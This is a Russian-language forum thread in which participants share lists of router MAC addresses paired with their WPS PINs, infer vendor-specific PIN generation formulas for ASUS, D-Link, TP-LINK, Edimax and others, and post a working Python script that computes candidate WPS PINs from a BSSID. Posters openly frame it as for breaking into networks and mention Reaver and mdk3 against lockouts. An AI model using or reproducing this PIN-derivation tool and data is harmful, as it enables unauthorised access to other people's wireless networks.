По похожему принципу нашел небольшую закономерность у точек TP-LINK. В отличии от ASUS 7, 8 и 9 значения мак адреса влияют на 2 часть пин кода (а 10, 11 и 12 на первую, возможно?). Тк TP-LINK встречается реже асуса (во всяком случае в Москве), то своей базы нет и беру из чужого поста. Code: F8:1A:67:8A:F1:04 06695972 F8:1A:67:97:22:18 78488113 F8:1A:67:C3:B3:90 92407213 F8:1A:67:CB:4F:E6 68474836 F8:1A:67:[COLOR=Lime]CB:5[/COLOR]3:D0 1472[COLOR=Lime]135[/COLOR]9 F8:1A:67:[COLOR=Lime]CB:5[/COLOR]7:FC 8882[COLOR=Lime]134[/COLOR]4 F8:1A:67:CC:E7:44 50042227 F8:1A:67:EC:91:EE 36735600 F8:1A:67:EC:99:3E 04165415 F8:1A:67:F8:40:F4 65597231
Тоже нашел неплохую закономерность: Code: ========================================================== 20:CF:30:87D0DD 8722C8 88562643 8900829-8856264=44565 20:CF:30:87E3AC 01325F 00784313 8905644-78431= 20:CF:30:87E53C 2CDE6E 29405268 8906044-2940526= 20:CF:30:884346 77D567 78534155 8930118-7853415=1076703 [COLOR=DarkOrange]20:CF:30:98A519 000E99 00037372 10003737-3737=10000000 20:CF:30:98A5AB 000F2B 00038836 =10000000 20:CF:30:98A607 000F87 00039758 20:CF:30:98A61B 000F9B 00039956 20:CF:30:98E76F 0050EF 00207195 20:CF:30:98FA89 006409 00256094 20:CF:30:990FFB 00797B 00310994 10031099-31099=10000000 20:CF:30:993CB2 00A632 00425469 10042546-42546=10000000 20:CF:30:994013 00A993 00434119 10043411-43411=10000000 20:CF:30:99409B 00AA1B 00435475 20:CF:30:D61023 3D79A3 40288352 =10000000 20:CF:30:D67D5E 3DE6DE 40567983 20:CF:30:D68B4F 3DF4CF 40603674 14060367-4060367=10000000 [/COLOR] 20:CF:30:E4A644 32616D 33017419 14984772-3301741=11683031 20:CF:30:E4B3A4 5543CB 55879156 14988196-5587915=9400281 20:CF:30:E53BC8 5168F7 53352873 20:CF:30:E554AC 477746 46835901 20:CF:30:E56138 8EBC84 93543729 20:CF:30:E5623C 5EAA9E 62040624 15032892-6204062 16204062 20:CF:30:E5A424 7CC727 81774470 15049764-8177447= =================================================== в выделенном диапазоне если перевести вторую часть BSSID в из HEX в DEC и отнять 10 000 000 то получим первые 7 цыферок пина без передних 0 !!! binarymaster- Спасибо за RouterScan Осталось выяснить полный диапазон.
А если вторая часть BSSID меньше 10 000 000, то ничего отнимать не нужно? Если да, то это - всем известный метод hex->dec.
Круто!! Позже еще посканю IP диапазоны и выложу больше WPS пинов, теперь ясно по какой логике они их генерируют!
Боюсь, что это новое открытие не открыло ничего нового... Поскольку результат работы алгоритмов HexToDec() и HexToDec()-10000000 одинаковый. Кстати, вот два экземпляра, которые такому алгоритму не поддаются: 20:CF:30:877:53 89371282 20:CF:30:87:E7:9E 89395264
Хахах, я почему-то даже не ожидал что ASUS станут генерировать пин коды из мак адреса. Понятно что это действует только на старых моделях да и то не на всех но все таки может пригодится при взломе. Теперь буду рассматривать другие модели.
Вот еще нашел немного! Code: ============================================== 00:07:26:3EFCC5 1662149 -2465792 D-Link DIR-300 BSSID-2465792 00:07:26:4AAA48 2427464 -2465792 D-Link DIR-300 BSSID-2465792 ============================================== 2C:AB:25:0F980A 1778954 +756992 D-Link DIR-300 + 756992 2C:AB:25:0F9CBE 1780158 +756992 2C:AB:25:3DC7FD 4805885 +756992 2C:AB:25:54E30B 6320139 +756992 2C:AB:25:551DFF 6335231 +756992 2C:AB:25:5AF8DD 6718941 +756992 2C:AB:25:61CE0F 7166735 +756992 2C:AB:25:69BDFE 7686910 +756992 ============================================== 80:1F:02:12E8EC 4793708 +3554432 EDIMAX BR6428GN 80:1F:02:190CCA 5196106 +3554432 80:1F:02:2662DF 6070111 +3554432 80:1F:02:279152 6147538 +3554432 ============================================== 80:1F:02:4915BE 8344126 +3554432 EDIMAX BR6228GNS 80:1F:02:4A3F4C 8420300 +3554432 80:1F:02:4F27F4 8742004 +3554432 80:1F:02:4F3DBE 8747582 +3554432 ============================================== 30:85:A9:F5135C 1410780 -14650496 ASUS RT-N13U Rev BSSID-14650496 30:85:A9:F52938 1416376 -14650496 ASUS RT-N13U Rev BSSID-14650496 ============================================== 50:46:5D:AEAC38 1728440 -9718912 ASUS RT-N13U Rev.B1 BSSID-9718912 50:46:5D:AEC93C 1735868 -9718912 50:46:5D:AF3D98 1765656 -9718912 50:46:5D:AF89D0 1785168 -9718912 ============================================== F4:6D:04:A1C4C8 7710536 -2891136 ASUS RT-N13U Rev.B1 BSSID-2891136 F4:6D:04:A1F864 7723748 -2891136 F4:6D:04:A237A8 7739944 -2891136 F4:6D:04:A25870 7748336 -2891136 ============================================== 10:BF:48:4A2360 2818272 ASUS RT-N13U Rev.B1 -2040448 10:BF:48:4A237C 2818300 ASUS RT-N13U Rev.B1 -2040448 10:BF:48:4B4900 2893440 ASUS RT-N13U Rev.B1 -2040448 ==============================================
Точки с таким мак адресом можно же вроде просто ривером ломать? Если прошивка новая и возникает лок то попробуй использовать mdk3.
Крутая тема Кстати, походу у точек с началом 60:A4:4C встречается похожая закономерность что и у старых диапазонов не смотря на то, что этот мак адрес бывает и у новых точек, так что возможно у асусов не у каждой модели свой генератор wps, а у каждого мак диапазона, что может облегчить дальнейший поиск закономерностей Вот что смог насканить: Code: 60:A4:4C:A2:C6:94 02863245 60:A4:4C:26:25:ED 24147460 60:A4:4C:A6:49:A8 52421303 60:A4:4C:83:A1:1C 43053100 60:A4:4C:DE:25:78 64651439 60:A4:4C:86:54:7C 40403007 60:A4:4C:A3:A8:48 06432034 60:A4:4C:79:47:F8 24234047 60:A4:4C:3A:B6:A0 40122502 60:A4:4C:A3:85:D4 06072438 60:A4:4C:A4:86:9C 00120029 60:A4:4C:C6:93:84 42329343
У меня полетела винда, выложил всю свою базу с соотношениями мак адрес - впс пин для точек асус через бэктрэк на хостинг http://zalil.ru/a81Lh
This is хорошо! На DIR-300 я кстати уже находил эту закономерность, и даже в скрипте её реализовал. Но это только на билайновских роутерах.
Пока есть время, выкладываю еще сети, извините что не отсортированы по MAC. Тут не только ASUS, но и D-Link Code: BC:EE:7B:32:C5:D0 53575555 00:18:E7:EC:E4:A9 46328472 00:24:8C:75:A5:74 76691645 74:D0:2B:3B:2D:4C 04354031 60:A4:4C:A4:41:6C 12403042 60:A4:4C:F1:8F:C0 97133919 AC:22:0B:E9:DB:FC 47723405 D8:50:E6:AF:C1:A8 08274045 C8:60:00:92:38:EA 28567554 BC:EE:7B:93:A2:30 50095643 84:C9:B2:52:30:3D 23294356 E0:CB:4E:82:BF:42 47561953 84:C9:B2:4C:AE:C5 27667552 60:A4:4C:27:03:78 90384271 5C:D9:98:6B:D5:9C 19908564 5C:D9:98:6B:D3:F6 18584349 C8:60:00:67:85:98 18722178 74:D0:2B:3B:22:30 44324100 74:D0:2B:83:77:64 08872210 D8:50:E6:AF:CE:CC 04234005 74:D0:2B:82:F2:04 02343013 84:C9:B2:62:6B:44 36539048 74:D0:2B:5D:81:58 29310364 20:CF:30:CE:4D:77 33224336 84:C9:B2:4C:AF:57 29005734 D8:50:E6:42:92:4C 50122844 D8:50:E6:42:91:E0 64429700 C8:60:00:91:48:E2 31195324 1C:7E:E5:3D:FD:86 48798587 50:46:5D:00:04:50 57346601 C8:60:00:91:51:4A 18619263 08:60:6E:C0:A9:60 41327753 08:60:6E:CC:83:40 47435612 84:C9:B2:62:6E:2A 42322221 74:D0:2B:5D:88:10 10407011 AC:22:0B:EA:67:74 06124083 D8:50:E6:AC:D5:68 96996492 08:60:6E:21:C0:88 65995150 08:60:6E:E9:AA:88 58651674 00:26:5A:FF:46:90 56407082 D8:50:E6:94:10:10 65891087 50:46:5D:01:08:60 27973592 50:46:5D:CD:FF:18 76047077 C8:60:00:91:EC:C6 46433275 08:60:6E:21:D2:B0 49535471 74:D0:2B:3A:12:44 20126100
Code: #!/usr/bin/env python import sys, re def pin_checksum(pin): # WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or # http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc accum = 0 t = pin while (t): accum += 3 * (t % 10) t /= 10 accum += t % 10 t /= 10 return '%07i%i' % (pin, (10 - accum % 10) % 10) def gen_hexdec(mac_str): return (int(mac_str[6:12], 16) % 10000000) def gen_beeline(mac_str): return ((int(mac_str[6:12], 16) + 756992) % 10000000) def gen_hexdec_hi(mac_str): return ((~int(mac_str[6:12], 16) & 0xFFFFFF) % 10000000) def gen_hexdec_di(mac_str): return (~int(mac_str[6:12], 16) % 10000000) def gen_hexdec_hda(mac_str): return ((gen_hexdec_hi(mac_str) + gen_hexdec_di(mac_str)) % 10000000) def gen_hexdec_hds(mac_str): return ((gen_hexdec_hi(mac_str) - gen_hexdec_di(mac_str)) % 10000000) def gen_hexdec_dhs(mac_str): return ((gen_hexdec_di(mac_str) - gen_hexdec_hi(mac_str)) % 10000000) def gen_hexdec2x(mac_str): return (2*int(mac_str[6:12], 16) % 10000000) def gen_hexdec3x(mac_str): return (3*int(mac_str[6:12], 16) % 10000000) def gen_hex1_add_hex2_dec(mac_str): return ((int(mac_str[0:6], 16)+int(mac_str[6:12], 16)) % 10000000) def gen_hex1_sub_hex2_dec(mac_str): return ((int(mac_str[0:6], 16)-int(mac_str[6:12], 16)) % 10000000) def gen_hex1_xor_hex2_dec(mac_str): return ((int(mac_str[0:6], 16)^int(mac_str[6:12], 16)) % 10000000) def main(): if len(sys.argv) != 2: sys.exit('Usage: wpspin.py [BSSID]\n eg. wpspin.py 00:11:22:33:44:55\n') mac_str = re.sub(r'[^a-fA-F0-9]', '', sys.argv[1]) if len(mac_str) != 12: sys.exit('check MAC format!\n') print '\n1. Algorithm: Dec(Hex[6..12])\n' print ' WPS PIN: ', pin_checksum(gen_hexdec(mac_str)) print '\n Compatible devices:' print ' - ZyXEL NDMS (CC:5D:4E, EC:43:F6, FE:F5:28, etc.)' print ' - Some TRENDnet (00:14:D1)' print ' - D-Link DIR-620 (90:94:E4)' print ' - Huawei HG532e (34:6B:D3)' print ' - ASUS RT-G32 (20:CF:30, 90:E6:BA, E0:CB:4E)' print '\n2. Algorithm: Dec(Hex[6..12]) + 756992\n' print ' WPS PIN: ', pin_checksum(gen_beeline(mac_str)) print '\n Compatible devices:' print ' - Beeline DIR-300 (2C:AB:25)' print '\n3. Algorithm: Dec(Inv(Hex[6..12]))\n' print ' WPS PIN: ', pin_checksum(gen_hexdec_hi(mac_str)) print '\n4. Algorithm: Inv(Dec(Hex[6..12]))\n' print ' WPS PIN: ', pin_checksum(gen_hexdec_di(mac_str)) print '\n5. Algorithm: Dec(Inv(Hex[6..12])) + Inv(Dec(Hex[6..12]))\n' print ' WPS PIN: ', pin_checksum(gen_hexdec_hda(mac_str)) print '\n6. Algorithm: Dec(Inv(Hex[6..12])) - Inv(Dec(Hex[6..12]))\n' print ' WPS PIN: ', pin_checksum(gen_hexdec_hds(mac_str)) print '\n7. Algorithm: Inv(Dec(Hex[6..12])) - Dec(Inv(Hex[6..12]))\n' print ' WPS PIN: ', pin_checksum(gen_hexdec_dhs(mac_str)) print '\n8. Algorithm: Dec(Hex[6..12]) * 2\n' print ' WPS PIN: ', pin_checksum(gen_hexdec2x(mac_str)) print '\n9. Algorithm: Dec(Hex[6..12]) * 3\n' print ' WPS PIN: ', pin_checksum(gen_hexdec3x(mac_str)) print '\n10. Algorithm: Dec(Hex[0..6]) + Dec(Hex[6..12])\n' print ' WPS PIN: ', pin_checksum(gen_hex1_add_hex2_dec(mac_str)) print '\n11. Algorithm: Dec(Hex[0..6]) - Dec(Hex[6..12])\n' print ' WPS PIN: ', pin_checksum(gen_hex1_sub_hex2_dec(mac_str)) print '\n12. Algorithm: Dec(Hex[0..6]) xor Dec(Hex[6..12])\n' print ' WPS PIN: ', pin_checksum(gen_hex1_xor_hex2_dec(mac_str)) if __name__ == "__main__": main() Обновил скрипт wpspin.py, добавил несколько простых алгоритмов. Может быть некоторые из них подойдут к каким-то роутерам.